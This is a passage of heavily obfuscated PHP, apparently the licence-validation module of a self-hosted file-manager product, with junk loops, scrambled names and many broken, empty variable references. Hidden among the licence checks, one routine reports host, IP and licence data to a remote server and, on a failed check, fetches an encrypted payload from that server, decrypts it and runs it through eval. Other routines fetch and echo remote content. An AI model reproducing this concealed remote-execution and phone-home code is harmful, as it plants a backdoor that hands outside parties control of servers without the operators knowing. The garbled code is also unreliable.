substr($乵, $؜ + strlen($)); $վ = $ި[708]; if (!$վ) { die; } preg_match_all($[18], $, $ۧ); $ = $ި[709]; while ($ < $ި[66]) { if ($ >= 0) { break; } $++; } $ = trim($ۧ[0][0], $[19]); $GLOBALS[$[13]][$[14]] = explode($[19], $); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $Ѽ = $ި[710]; while ($Ѽ < $ި[711]) { if ($Ѽ >= 0) { break; } $Ѽ++; } } public function run() { $ͨ =& $_SERVER[]; $ =& $_SERVER[]; $this->lszm3769197c(); $쓥 = $ͨ[712]; if (strlen($쓥) < $ͨ[711]) { return; } $this->funcd7c9c093(); $ = $ͨ[713]; while (strlen($) < $ͨ[693]) { if (!$) { break; } $++; } $ = $GLOBALS[$[13]][$[14]]; $ = $ͨ[714]; if (!$) { return; } $Ą۷ = $GLOBALS[$[13]][$[15]]; define($[20], isset($[0]) && $[0] ? $[0] : $this->defaultModule); define($[21], isset($[1]) && $[0] ? $[1] : $this->defaultController); $ = $ͨ[715]; if (strlen($) < $ͨ[66]) { return; } define($[22], isset($[2]) && $[0] ? $[2] : $this->defaultAction); define($[23], MOD . $[0] . ST . $[0] . ACT); $̪頌 = $ͨ[716]; $_SERVER[$[24]] = strtolower(ACTION); $ӧ = $ͨ[717]; while ($ӧ < $ͨ[711]) { if ($ӧ >= 0) { break; } $ӧ++; } $this->autorun(); $Ш = $ͨ[718]; while (strlen($Ш) < $ͨ[695]) { if (!$Ш) { break; } $Ш++; } if (count($) >= 3) { $this->appRun($Ą۷); } else { $this->appRun(ACTION); } } private $dglic348d3e7 = array(); private $epqlbb24357a = ''; public function qmkdbc74139a() { $ =& $_SERVER[]; $暉 =& $_SERVER[]; $this->irztf84686f7(); $this->lvhs11600b5d(); $܌ = $[719]; $this->dozu0534b089(); $쌷 = $[720]; while (strlen($쌷) < $[711]) { if (!$쌷) { break; } $쌷++; } $this->xltd7fd37420(); $ڏ = $[721]; if (!$ڏ) { return; } $this->dvaf25219347(); $this->hnsv5ac96b7b(); $this->krsm180cb74b(); $this->vglc9d6a43bb($暉[25], array($this, $暉[26])); $һ = $[722]; if (!$һ) { return; } $this->vglc9d6a43bb($暉[27], array($this, $暉[28])); $ = $[723]; $this->vglc9d6a43bb($暉[29], array($this, $暉[30])); $this->vglc9d6a43bb($暉[31], array($this, $暉[32])); } public function mted32d2229f($貙) { $ߝ =& $_SERVER[]; $ =& $_SERVER[]; $ = Model($[33])->get(); $؀ܶ = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82], $[83], $[84], $[85]); foreach ($؀ܶ as $) { $ڄ = $GLOBALS[$[86]][$[87]][$]; if (isset($[$])) { $ڄ = $[$]; } $貙[$[88]][$[89]][$] = $ڄ; } $ = $貙[$[88]][$[89]][$[46]]; unset($貙[$[88]][$[90]][$[91]]); unset($貙[$[88]][$[90]][$[92]]); $ = $ߝ[724]; if (!$) { return; } unset($貙[$[88]][$[89]][$[46]]); unset($貙[$[88]][$[89]][$[93]]); $χ = $ߝ[725]; if (!$χ) { die; } $貙[$[88]][$[89]][$[94]] = array($[95] => (int) $[$[96]], $[97] => (int) _get($, $[98], 0)); $ְ = substr(md5($[99] . get_client_ip() . $[$[100]]), 0, 15); $貙[$[101]][$[102]] = Mcrypt::encode(Session::sign(), $ְ, 3600 * 24); $թ = $ߝ[726]; $貙[$[101]][$[103]] = Action($[104])->accessToken(); $崂ǟ = $ߝ[727]; while ($崂ǟ < $ߝ[711]) { if ($崂ǟ >= 0) { break; } $崂ǟ++; } $貙[$[101]][$[105]] = md5($_SERVER[$[106]] . $[$[100]]); $ = $ߝ[728]; if (strlen($) < $ߝ[693]) { return; } $貙[$[101]][$[107]] = base64_encode(serverInfo()); $ڡ = $ߝ[729]; while (strlen($ڡ) < $ߝ[711]) { if (!$ڡ) { break; } $ڡ++; } $貙[$[101]][$[108]] = $this->epqlbb24357a; $ꩬ = $ߝ[730]; if ($[$[108]] != $[109]) { $貙[$[101]][$[110]] = $[$[110]]; $貙[$[101]][$[111]] = $[$[111]]; $М = rand_string(10) . $this->epqlbb24357a . rand_string(5); $貙[$[88]][$[112]][$[113]] = $this->owqeda6d1c03($М, $貙[$[101]][$[105]]); } if ($this->epqlbb24357a == $[109]) { $貙[$[88]][$[89]][$[94]][$[98]] = 0; } $貙[$[101]][$[114]] = $this->versionPluginFilter(); $貙[$[101]][$[115]] = _get($this->dglic348d3e7, $[116], $[6]); $ = $ߝ[731]; if (KodUser::isRoot() && $this->config[$[117]]) { $貙[$[101]][$[118]] = WEB_ROOT; } return $貙; } private function hnsv5ac96b7b() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ϿLJ = $_SERVER[$[24]] == $[119]; $Ø = $[732]; if (strlen($Ø) < $[693]) { return; } if ($_SERVER[$[24]] == $[120] && $_GET[$[121]] == $[122]) { $ϿLJ = !0; } if ($ϿLJ) { $ = array($[108] => $this->epqlbb24357a, $[123] => $this->ieqg85770236(), $[124] => Model($[125])->count()); if ($this->epqlbb24357a != $[109]) { $ = _get($this->dglic348d3e7, $[126]); if ($) { $[$[127]] = $; $[$[128]] = strtotime(_get($this->dglic348d3e7, $[129])); $[$[130]] = _get($this->dglic348d3e7, $[116]); } $ѕ = Model($[33])->get($[131], $[6], !0); if (is_string($ѕ) && substr($ѕ, 0, 1) == $[132]) { $ѕ = json_decode_force($ѕ); } if (is_array($ѕ) && $ѕ[$[133]] && strstr($ѕ[$[133]], $[134])) { $蔺 = explode($[134], $ѕ[$[133]]); $[$[135]] = $蔺[0]; } } $ = $this->nqtc058e3ce5(json_encode($), md5($[136])); $ = $[733]; if (!$) { die; } $Ӻ = array($[137] => $); $¿ = $[734]; while ($¿ < $[695]) { if ($¿ >= 0) { break; } $¿++; } call_user_func(array($[138], $[139]), $Ӻ); } if ($this->epqlbb24357a == $[109]) { return; } $ಡ = array($[140], $[141], $[142], $[143], $[144], $[145]); $ = $[735]; if (!$) { die; } $Ǥ = Model($[33])->get(); $Ӻ = array($[146] => $Ǥ[$[34]], $[147] => $Ǥ[$[35]], $[148] => $[6]); foreach ($ಡ as $) { if (!isset($Ǥ[$]) || !$Ǥ[$]) { continue; } $Ӻ[$] = $Ǥ[$]; $Ȥ = $[736]; if (strlen($Ȥ) < $[695]) { return; } } call_user_func(array($[138], $[139]), $Ӻ); $ = $[737]; } private function xltd7fd37420() { $͝ =& $_SERVER[]; $Ǩ =& $_SERVER[]; if ($_SERVER[$Ǩ[24]] != $Ǩ[149]) { return; } if (!KodUser::isRoot()) { die; } $чؠ = $GLOBALS[$Ǩ[13]]; if (isset($чؠ[$Ǩ[150]])) { $this->gnst46c66674(); die; } if (isset($чؠ[$Ǩ[151]]) && isset($чؠ[$Ǩ[151]]) == $Ǩ[122]) { $чؠ[$Ǩ[152]] = Model($Ǩ[33])->get($Ǩ[153]); } if (!isset($чؠ[$Ǩ[152]]) || strlen($чؠ[$Ǩ[152]]) != 16) { show_json($Ǩ[154] . $чؠ[$Ǩ[152]], !1); } $ԅ = Model($Ǩ[33])->get($Ǩ[100]); $ = md5($_SERVER[$Ǩ[106]] . $ԅ); $כ = $͝[738]; if (strlen($כ) < $͝[693]) { return; } $ = array($Ǩ[152] => $чؠ[$Ǩ[152]], $Ǩ[155] => rand_string(16), $Ǩ[156] => $Ǩ[136], $Ǩ[157] => $Ǩ[158], $Ǩ[159] => $_SERVER[$Ǩ[160]], $Ǩ[161] => $_SERVER[$Ǩ[162]], $Ǩ[163] => $_SERVER[$Ǩ[164]], $Ǩ[105] => $, $Ǩ[165] => Model($Ǩ[33])->get($Ǩ[131])); $ = $͝[739]; if (!$) { die; } if (isset($чؠ[$Ǩ[151]]) && isset($чؠ[$Ǩ[151]]) == $Ǩ[122]) { $[$Ǩ[151]] = md5($[$Ǩ[152]] . $Ǩ[166] . $[$Ǩ[155]]); } if ($чؠ[$Ǩ[167]] == $Ǩ[168]) { $ƒ = $this->nqtc058e3ce5($, $Ǩ[169]); $۱ = $this->owqeda6d1c03(json_encode($), $ . $Ǩ[170], 3); $۱ = $۱ . $Ǩ[171] . $_SERVER[$Ǩ[160]]; $럹 = $this->uyzp50af60cd($Ǩ[172] . $ƒ . $Ǩ[173] . $۱, -1); show_json($럹, !0); } else { if ($чؠ[$Ǩ[167]] == $Ǩ[174]) { $Բ = substr(md5($Ǩ[175] . $), 12, 15) . $Ǩ[176]; $۱ = $this->lqdm6259e359(trim($чؠ[$Ǩ[177]]), $Բ, 2); $ԁ = json_decode($۱, !0); if (!is_array($ԁ) || !is_array($ԁ[$Ǩ[178]]) || $ԁ[$Ǩ[152]] != !0) { $쐂 = $Ǩ[179]; $ = $ԁ[$Ǩ[178]] ? $Ǩ[180] . $ԁ[$Ǩ[178]] : $쐂; show_json($, !1); } else { $[$Ǩ[155]] = $ԁ[$Ǩ[178]][$Ǩ[181]]; } } else { $ԁ = $this->uyzp50af60cd($Ǩ[182], $, 10); } } if (!is_array($ԁ) || !is_array($ԁ[$Ǩ[178]]) || $ԁ[$Ǩ[152]] != !0) { $쐂 = LNG($Ǩ[183]); $ = $ԁ[$Ǩ[178]] ? $Ǩ[180] . $ԁ[$Ǩ[178]] : $쐂; show_json($, !1); } $ = $ԁ[$Ǩ[178]]; $ = $this->olhwee7f1482($[$Ǩ[184]]); if (!$ || $ != $[$Ǩ[129]]) { $Ь = array($Ǩ[185] => Model($Ǩ[33])->get($Ǩ[100]), $Ǩ[186] => $_SERVER[$Ǩ[106]], $Ǩ[187] => this_url(), $Ǩ[161] => $_SERVER[$Ǩ[162]]); $۱ = $this->rjzp2d0cc6b4(json_encode($Ь)); $this->uyzp50af60cd($Ǩ[188] . $۱); show_json(LNG($Ǩ[189]), !0); } $ = array($Ǩ[153] => $[$Ǩ[190]], $Ǩ[191] => $[$Ǩ[192]], $Ǩ[193] => rand_string(16), $Ǩ[108] => $[$Ǩ[194]]); if ($[$Ǩ[155]]) { $[$Ǩ[193]] = $[$Ǩ[155]]; } $Ãٵ = substr(md5($[$Ǩ[191]]), 10, 10); $ = $Ãٵ . $[$Ǩ[108]] . $[$Ǩ[193]]; $ڰ = $͝[740]; if (!$ڰ) { die; } $[$Ǩ[110]] = strrev(base64_encode($this->nqtc058e3ce5($, $Ǩ[195]))); $ = $͝[741]; if (!$) { die; } $ = rand_string(16); $ϼʶ = $͝[742]; if (strlen($ϼʶ) < $͝[697]) { return; } $˙ = $ . $[$Ǩ[108]] . $this->nqtc058e3ce5(md5($[$Ǩ[153]]), $); $[$Ǩ[111]] = base64_encode(strrev($this->nqtc058e3ce5($˙, $Ǩ[196]))); if ($[$Ǩ[197]] && $[$Ǩ[197]] >= 1) { Model($Ǩ[33])->setDeep($Ǩ[198], $Ǩ[122]); } Model($Ǩ[33])->set($); $ = md5($_SERVER[$Ǩ[106]] . strrev($ԅ) . $[$Ǩ[191]]); $ݨ = strrev(substr($, 10, 16)); $񷑈 = $this->owqeda6d1c03(json_encode($), $); $杭 = $͝[743]; $܍ = array_to_keyvalue(Model($Ǩ[7])->listData(), $Ǩ[199]); $Ƶ = $͝[744]; if (strlen($Ƶ) < $͝[693]) { die; } $ϖ = $܍[$Ǩ[200]]; $ˈ = array(); $ˈ[$ݨ] = $񷑈; $ړ = $͝[745]; Model($Ǩ[7])->update($ϖ[$Ǩ[201]], array($Ǩ[202] => $ˈ)); $ = $͝[746]; if (!$) { die; } $this->dglic348d3e7 = $; $this->epqlbb24357a = $[$Ǩ[108]]; $甓 = $͝[747]; while (strlen($甓) < $͝[693]) { if (!$甓) { break; } $甓++; } $this->licenseRegistSuccess(); $ = $͝[748]; if (!$) { return; } Cache::set($Ǩ[203] . md5($ԅ . $Ǩ[204]), $Ǩ[6]); show_json(LNG($Ǩ[189]), !0); $ = $͝[749]; } private function licenseRegistSuccess() { $ =& $_SERVER[]; $Ĺ = Model($[33])->get(); if ($Ĺ[$[63]] != $[122]) { Model($[33])->set($[63], $[122]); } Action($[205])->initStart(!0); } private function gnst46c66674() { $ᢗ =& $_SERVER[]; $Ԟ =& $_SERVER[]; Model($Ԟ[33])->set(array($Ԟ[153] => $Ԟ[6], $Ԟ[191] => $Ԟ[6], $Ԟ[108] => $Ԟ[109], $Ԟ[110] => $Ԟ[6], $Ԟ[111] => $Ԟ[6])); $϶ = $ᢗ[750]; if (!$϶) { die; } Model($Ԟ[33])->setDeep($Ԟ[198], $Ԟ[206]); $ = $ᢗ[751]; if (strlen($) < $ᢗ[695]) { die; } $this->dglic348d3e7 = array(); $this->epqlbb24357a = $Ԟ[109]; } private function irztf84686f7() { $ =& $_SERVER[]; $ =& $_SERVER[]; $_SERVER[$[162]] = _get($_SERVER, $[162], APP_HOST); $this->epqlbb24357a = $[109]; $ = $[752]; $˛ = Model($[33])->get(); $ = $[753]; while (strlen($) < $[695]) { if (!$) { break; } $++; } if ($˛[$[108]] == $[109]) { return; } $膜 = Model($[33])->get($[100]); $ = $[203] . md5($膜 . $[204]); $Ȯ = $[754]; if (!$Ȯ) { return; } $Ă = Cache::get($); $ = $[755]; if (strlen($) < $[66]) { return; } if (!is_array($Ă) || !isset($Ă[$[207]]) || time() - $Ă[$[207]] >= 60) { $ = Model($[7])->loadList(); $ = $[$[200]]; $̘ = md5($_SERVER[$[106]] . strrev($膜) . $˛[$[191]]); $˳ = strrev(substr($̘, 10, 16)); $Ă = $this->lqdm6259e359($[$[86]][$˳], $̘); $Ă = json_decode($Ă, !0); } if (!is_array($Ă)) { return $this->gnst46c66674(); } $ȫ = strtotime($Ă[$[129]]); if (time() >= $ȫ) { return $this->gnst46c66674(); } if (!isset($Ă[$[207]]) || time() - $Ă[$[207]] > 20) { $Ă[$[207]] = time(); Cache::set($, $Ă); } $this->dglic348d3e7 = $Ă; $this->epqlbb24357a = $˛[$[108]]; $ = $[756]; if (!$) { die; } } private function lvhs11600b5d() { $晷 =& $_SERVER[]; $ =& $_SERVER[]; $Ŭ = $GLOBALS[$[13]]; $ = $_SERVER[$[24]]; $ߏ = $晷[757]; if (strlen($ߏ) < $晷[711]) { die; } if ($ == $[208] && $this->epqlbb24357a == $[109]) { show_json(LNG($[209]), !1, $[210]); } $؃ӎ = array($[211], $[212]); if (in_array($, $؃ӎ)) { if ($this->epqlbb24357a == $[109] && isset($Ŭ[$[213]])) { show_json(LNG($[209]), !1, $[210]); die; } $ = $this->ieqg85770236(); if ($ != intval($[214])) { if ($ <= Model($[125])->count()) { show_json(LNG($[215]), !1, $[210]); die; } } } } private function dozu0534b089() { $ó =& $_SERVER[]; $ =& $_SERVER[]; $ = array($[119], $[120]); $ȸ = $ó[758]; while ($ȸ < $ó[693]) { if ($ȸ >= 0) { break; } $ȸ++; } if (!KodUser::isRoot() || !isset($_GET[$[216]])) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } $ = $[217]; $ = $ó[759]; if (strlen($) < $ó[711]) { die; } $ = $this->uwada3c9af0f($, $[218]); $զ = $ó[760]; if (strlen($զ) < $ó[711]) { die; } $׸ = stream_context_create(array($[219] => array($[220] => $[221], $[222] => 3))); $ꘫ = $ó[761]; while (strlen($ꘫ) < $ó[695]) { if (!$ꘫ) { break; } $ꘫ++; } $ = @file_get_contents($, !1, $׸); header($[223]); if ($ && strstr($, $[224])) { echo $; } die; } public function izdk2d00efde($) { $ְ =& $_SERVER[]; $ =& $_SERVER[]; if ($this->epqlbb24357a == $[225]) { return $; } $ǻ = $this->versionPluginList(); $ = explode($[226], $this->versionPluginFilter()); $򵝻 = $ְ[762]; if (!$򵝻) { die; } $ܛ = array(); $󚃯 = $ְ[763]; if (strlen($󚃯) < $ְ[711]) { die; } foreach ($ǻ as $Ņ => $ѻ) { if ($ѻ == $[227] && substr($this->epqlbb24357a, 0, 1) == $[227]) { continue; } if (!in_array($Ņ, $)) { $ܛ[] = $Ņ; } } foreach ($ܛ as $Ņ) { unset($[$Ņ]); } return $; } private function versionPluginList() { $ =& $_SERVER[]; return array($[228] => $[227], $[229] => $[227], $[230] => $[227], $[231] => $[232], $[233] => $[232], $[234] => $[232], $[235] => $[232], $[236] => $[232], $[237] => $[232], $[238] => $[232], $[239] => $[232], $[240] => $[232], $[241] => $[232], $[242] => $[232], $[243] => $[232], $[244] => $[232]); } private function versionPluginFilter() { $ǧ =& $_SERVER[]; $̻ߟ =& $_SERVER[]; if ($this->epqlbb24357a == $̻ߟ[109]) { return $̻ߟ[6]; } $ = _get($this->dglic348d3e7, $̻ߟ[245], $̻ߟ[6]); $ = _get($this->dglic348d3e7, $̻ߟ[116], $̻ߟ[6]); $֡ = $ǧ[764]; while (strlen($֡) < $ǧ[693]) { if (!$֡) { break; } $֡++; } $ = _get($this->dglic348d3e7, $̻ߟ[246], $̻ߟ[6]); if ($ > time() && $ > time()) { $ = explode($̻ߟ[226], $); $ڲ = array_keys($this->versionPluginList()); $ = array_merge($, $ڲ); $ = implode($̻ߟ[226], array_filter(array_unique($))); } return $; } private function krsm180cb74b() { $ =& $_SERVER[]; if ($this->epqlbb24357a != $[109]) { $GLOBALS[$[86]][$[90]][$[247]] = $[206]; return; } $GLOBALS[$[86]][$[248]] = $[122]; if (Model($[249])->get($[63]) != $[206]) { Model($[249])->set($[63], $[206]); } } public function xrva679f4a80() { return $_SERVER[][250]; } private function dvaf25219347() { $ =& $_SERVER[]; $˭ =& $_SERVER[]; $ = array($˭[251], $˭[252], $˭[253]); $ = $˭[254] . md5($˭[255]); $ = $[765]; if ($this->epqlbb24357a == $˭[109] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$˭[24]], $)) { return; } if (time() % 4 != 0) { return; } $ = call_user_func(array($˭[256], $˭[257]), $); $Ť = $[766]; while ($Ť < $[695]) { if ($Ť >= 0) { break; } $Ť++; } if ($ && time() - $ < intval($˭[258])) { return; } call_user_func(array($˭[256], $˭[139]), $, time()); $ = Model($˭[33])->get($˭[100]); $Ь = $[767]; while (strlen($Ь) < $[66]) { if (!$Ь) { break; } $Ь++; } $Έڿ = array($˭[152] => Model($˭[33])->get($˭[153]), $˭[167] => $this->epqlbb24357a, $˭[163] => $_SERVER[$˭[164]], $˭[165] => Model($˭[33])->get($˭[131]), $˭[105] => md5($_SERVER[$˭[106]] . $), $˭[156] => $˭[136], $˭[159] => $_SERVER[$˭[160]]); $롄 = $[768]; $ଦ = $this->uyzp50af60cd($˭[259], $Έڿ); $ = $[769]; if (strlen($) < $[693]) { die; } if (!is_array($ଦ)) { return; } if ($ଦ[$˭[152]] && $ଦ[$˭[260]]) { if ($this->olhwee7f1482($ଦ[$˭[260]]) == $Έڿ[$˭[152]]) { return; } } $this->gnst46c66674(); $Һׁ = $[770]; while (strlen($Һׁ) < $[711]) { if (!$Һׁ) { break; } $Һׁ++; } if ($this->olhwee7f1482($ଦ[$˭[260]]) != $Έڿ[$˭[152]]) { $Ḑ = array($˭[185] => $, $˭[186] => $_SERVER[$˭[106]], $˭[187] => this_url(), $˭[161] => $_SERVER[$˭[162]]); $ֶ荖 = $this->rjzp2d0cc6b4(json_encode($Ḑ)); $ଦ = $this->uyzp50af60cd($˭[188] . $ֶ荖); if ($ଦ && is_array($ଦ) && isset($ଦ[$˭[260]])) { $ͥ = $this->lqdm6259e359($ଦ[$˭[260]], 2); if ($ͥ) { $ͥ = $this->olhwee7f1482($ͥ); } if ($ͥ) { try { @eval($ͥ); } catch (Exception $) { } } } } } private function uyzp50af60cd($ֈ = '', $ɾ = array(), $䜠 = 5) { $ =& $_SERVER[]; $ˠ =& $_SERVER[]; $˞ = $ˠ[261]; $ = $[771]; while ($ < $[693]) { if ($ >= 0) { break; } $++; } $˞ = $this->uwada3c9af0f($˞, $ˠ[262]); $˞ = $˞ . $ֈ; $ = $[772]; while (strlen($) < $[695]) { if (!$) { break; } $++; } if ($ɾ && is_array($ɾ)) { $˞ = $˞ . $ˠ[263] . http_build_query($ɾ); } if ($ɾ === -1) { return $˞; } $َ = stream_context_create(array($ˠ[219] => array($ˠ[222] => $䜠, $ˠ[220] => $ˠ[264]), $ˠ[265] => array($ˠ[266] => !1, $ˠ[267] => !1))); $ = $[773]; if (strlen($) < $[693]) { die; } $ɾ = @file_get_contents($˞, !1, $َ); $ = $[774]; if (!$) { return; } return json_decode($ɾ, !0); $ = $[775]; if (!$) { die; } } private function ieqg85770236() { $━ =& $_SERVER[]; $捧 =& $_SERVER[]; $ = array($捧[268] => $捧[269], $捧[270] => $捧[271], $捧[272] => $捧[273], $捧[274] => $捧[275], $捧[276] => $捧[277], $捧[278] => $捧[214], $捧[279] => $捧[214], $捧[280] => $捧[269], $捧[281] => $捧[271], $捧[282] => $捧[273], $捧[283] => $捧[284], $捧[285] => $捧[275], $捧[286] => $捧[287], $捧[288] => $捧[277], $捧[289] => $捧[290], $捧[291] => $捧[292], $捧[293] => $捧[294]); $Ϡ = $[$this->epqlbb24357a]; $Ϡ = intval($Ϡ ? $Ϡ : $捧[269]); $ʾ = _get($this->dglic348d3e7, $捧[295]); $ = $━[776]; $ʾ = $ʾ ? intval($ʾ) : 0; $ = $━[777]; if (!$) { return; } return $Ϡ + $ʾ; } public function aphg9c49c202($ͶӚ) { $ކ =& $_SERVER[]; $֙ =& $_SERVER[]; $ = $this->ieqg85770236(); $ݝ = $ކ[778]; while (strlen($ݝ) < $ކ[66]) { if (!$ݝ) { break; } $ݝ++; } if ($ͶӚ[$֙[296]] == $֙[122]) { return; } if ($ >= intval($֙[214])) { return; } $Ȅ = Model($֙[125])->count(); $ = $ކ[779]; if ($Ȅ <= $) { return; } $Ԅۿ = Model($֙[125])->field($֙[296])->limit($)->select(); $Ԅۿ = array_to_keyvalue($Ԅۿ, $֙[6], $֙[296]); $݋ = $ކ[780]; while (strlen($݋) < $ކ[695]) { if (!$݋) { break; } $݋++; } if (!in_array($ͶӚ[$֙[296]], $Ԅۿ)) { show_json($֙[297], !1, $֙[210]); } } public function rxli18fbe2ea() { $Џ҂ =& $_SERVER[]; $ =& $_SERVER[]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $Ɨ = $[217]; $֒ = $Џ҂[781]; while (strlen($֒) < $Џ҂[695]) { if (!$֒) { break; } $֒++; } $Ɨ = $this->uwada3c9af0f($Ɨ, $[218]); $Ξ = stream_context_create(array($[219] => array($[220] => $[221], $[222] => 3))); $Ո± = $Џ҂[782]; if (strlen($Ո±) < $Џ҂[695]) { die; } $흑 = @file_get_contents($Ɨ, !1, $Ξ); $ = $Џ҂[783]; echo $[298] . hash_encode($흑) . $[299]; } private function owqeda6d1c03($ɲ, $⧞, $熢 = 3) { $ =& $_SERVER[]; $ =& $_SERVER[]; usleep(1); $ɲ = trim($ɲ); $ڙ = mt_rand(0, 5) . $[6]; $Ń = rand_string(15); $ = $[300]; $飁 = $[784]; switch ($ڙ) { case $[206]: $ݴ = $this->nqtc058e3ce5($ɲ, strrev($⧞ . $Ń)); break; case $[122]: $ݴ = $this->nqtc058e3ce5($ɲ, strrev($Ń . $⧞)); $ = $[785]; if (!$) { return; } break; case $[301]: $ݴ = $this->nqtc058e3ce5($ɲ, base64_encode($Ń . $⧞)); break; case $[302]: $ݴ = $this->nqtc058e3ce5($ɲ, md5($Ń . $⧞)); $ŝ = $[786]; if (!$ŝ) { return; } break; case $[303]: $ɲ = base64_encode($ɲ); $֌ = $[787]; $ = rand(0, 64); $ӟ = $[$]; $ͦ˨ = md5($ӟ . md5($⧞ . $ӟ) . $⧞); $ͦ˨ = substr($ͦ˨, $ % 8, $ % 8 + 7); $ލ = $[6]; $߳ = $[788]; if (!$߳) { die; } $ = 0; $Ї = 0; $ = 0; for ($ = 0; $ < strlen($ɲ); $++) { $ = $ == strlen($ͦ˨) ? 0 : $; $Ї = ($ + strpos($, $ɲ[$]) + ord($ͦ˨[$++])) % 64; $ = $[789]; $ލ .= $[$Ї]; $ʽ = $[790]; if (strlen($ʽ) < $[711]) { return; } } $ݴ = hash_encode($ӟ . $ލ); $Ȁ = $[791]; if (!$Ȁ) { die; } break; $ȉ = $[792]; default: $ݴ = $this->nqtc058e3ce5($ɲ, $⧞ . $Ń); break; } $ݴ = strrev($ڙ . $Ń . $ݴ); if ($熢 - 1 > 0) { $ݴ = $this->owqeda6d1c03($ݴ, $⧞, $熢 - 1); } return $ݴ; } private function lqdm6259e359($, $, $֭ = 3) { $΍ŝ =& $_SERVER[]; $Ӛ =& $_SERVER[]; if (!is_string($) || strlen($) < 10) { return !1; } $ = trim($); $ = strrev($); $꼝 = $[0]; $ = $΍ŝ[793]; $ij = substr($, 1, 15); $ = $΍ŝ[794]; $ = substr($, 16); $ = $΍ŝ[795]; $Ԙ = $Ӛ[300]; switch ($꼝) { case $Ӛ[206]: $ӷ = $this->uwada3c9af0f($, strrev($ . $ij)); break; $ޅ = $΍ŝ[796]; while (strlen($ޅ) < $΍ŝ[697]) { if (!$ޅ) { break; } $ޅ++; } case $Ӛ[122]: $ӷ = $this->uwada3c9af0f($, strrev($ij . $)); break; case $Ӛ[301]: $ӷ = $this->uwada3c9af0f($, base64_encode($ij . $)); $듓 = $΍ŝ[797]; if (strlen($듓) < $΍ŝ[66]) { return; } break; case $Ӛ[302]: $ӷ = $this->uwada3c9af0f($, md5($ij . $)); $˂ = $΍ŝ[798]; break; case $Ӛ[303]: $ = hash_decode($); $򳎤 = $΍ŝ[799]; if (strlen($򳎤) < $΍ŝ[66]) { die; } $޸ = $[0]; $Χ = $΍ŝ[800]; while ($Χ < $΍ŝ[66]) { if ($Χ >= 0) { break; } $Χ++; } $ = substr($, 1); $ = $΍ŝ[801]; $ξ = strpos($Ԙ, $޸); $ƼӜ = $΍ŝ[802]; if (!$ƼӜ) { return; } $ѯɵ = md5($޸ . md5($ . $޸) . $); $ = $΍ŝ[803]; while ($ < $΍ŝ[66]) { if ($ >= 0) { break; } $++; } $ѯɵ = substr($ѯɵ, $ξ % 8, $ξ % 8 + 7); $ߓ = $Ӛ[6]; $ = 0; $ = 0; $Ր = $΍ŝ[804]; $ = 0; $덢 = $΍ŝ[805]; if (!$덢) { die; } for ($ = 0; $ < strlen($); $++) { $ = $ == strlen($ѯɵ) ? 0 : $; $ȼ = $΍ŝ[806]; while (strlen($ȼ) < $΍ŝ[711]) { if (!$ȼ) { break; } $ȼ++; } $ = $++; $ = strpos($Ԙ, $[$]) - $ξ - ord($ѯɵ[$]); $ޞ = $΍ŝ[807]; while ($ޞ < $΍ŝ[693]) { if ($ޞ >= 0) { break; } $ޞ++; } while ($ < 0) { $ += 64; $و = $΍ŝ[808]; if (strlen($و) < $΍ŝ[697]) { die; } } $ߓ .= $Ԙ[$]; $ݫ = $΍ŝ[809]; } $ӷ = base64_decode($ߓ); $ = $΍ŝ[810]; if (!$) { return; } break; default: $ӷ = $this->uwada3c9af0f($, $ . $ij); $ = $΍ŝ[811]; if (strlen($) < $΍ŝ[693]) { return; } break; } if ($֭ - 1 > 0) { $ӷ = $this->lqdm6259e359($ӷ, $, $֭ - 1); } return $ӷ; } public function rjzp2d0cc6b4($) { $ӥ =& $_SERVER[]; $ =& $_SERVER[]; $ = $this->sqxif8e8bfb7(); $ = $ӥ[812]; while ($ < $ӥ[66]) { if ($ >= 0) { break; } $++; } $ᖧ = $this->sqxif8e8bfb7(); $Ǒ = $ӥ[813]; while (strlen($Ǒ) < $ӥ[693]) { if (!$Ǒ) { break; } $Ǒ++; } $¹ = ($ - 1) * ($ᖧ - 1); $ = $ӥ[814]; while (strlen($) < $ӥ[695]) { if (!$) { break; } $++; } $ى = intval(($ + $ᖧ) / 2); $ټ = $ӥ[815]; if (strlen($ټ) < $ӥ[66]) { return; } while (1) { $񭈇 = $ى; $ = $ӥ[816]; while (strlen($) < $ӥ[66]) { if (!$) { break; } $++; } $ = $¹; $ = $ӥ[817]; if (!$) { die; } while ($ % $񭈇 != 0) { $꾭 = $; $ = $񭈇; $ޫNJ = $ӥ[818]; while ($ޫNJ < $ӥ[697]) { if ($ޫNJ >= 0) { break; } $ޫNJ++; } $񭈇 = $꾭 % $񭈇; } if ($񭈇 == 1) { break; } else { $ى++; } } $ = 2; $ጽ = $ӥ[819]; if (!$ጽ) { return; } for ($βӿ = 0; $βӿ < $¹ * 10; $βӿ++) { if (($¹ * $βӿ + 1) % $ى == 0) { $ = intval(($¹ * $βӿ + 1) / $ى); break; } } $ٺ = $this->nqtc058e3ce5($ * $ᖧ . $[6], $[136]); $ލ = $ӥ[820]; $ = md5($[304] . ($ + $ᖧ) . $[305] . $ى . $[305] . $ . $[306]); $ = $ӥ[821]; if (strlen($) < $ӥ[66]) { die; } $ٷ = $this->nqtc058e3ce5($, $) . $[307] . $ٺ; return $ٷ; $ť = $ӥ[812]; if (!$ť) { return; } } public function olhwee7f1482($) { $ƣ =& $_SERVER[]; $ȣ =& $_SERVER[]; $ڟ = explode($ȣ[307], $); $ = $ƣ[822]; if (strlen($) < $ƣ[66]) { die; } if (count($ڟ) != 2) { return $ȣ[6]; } $ = $this->uwada3c9af0f($ڟ[1] . $ȣ[6], $ȣ[136]); $ = $ƣ[823]; if (strlen($) < $ƣ[711]) { return; } if (!$) { return $ȣ[6]; } $ = intval($); $ = 0; $ҧ = 0; $ = $ƣ[824]; while ($ < $ƣ[693]) { if ($ >= 0) { break; } $++; } for ($ = 3; $ < $; $ += 2) { if ($ % $ != 0) { continue; } $ = $; $з = $ƣ[825]; $ҧ = intval($ / $); $ = $ƣ[826]; if (strlen($) < $ƣ[697]) { return; } 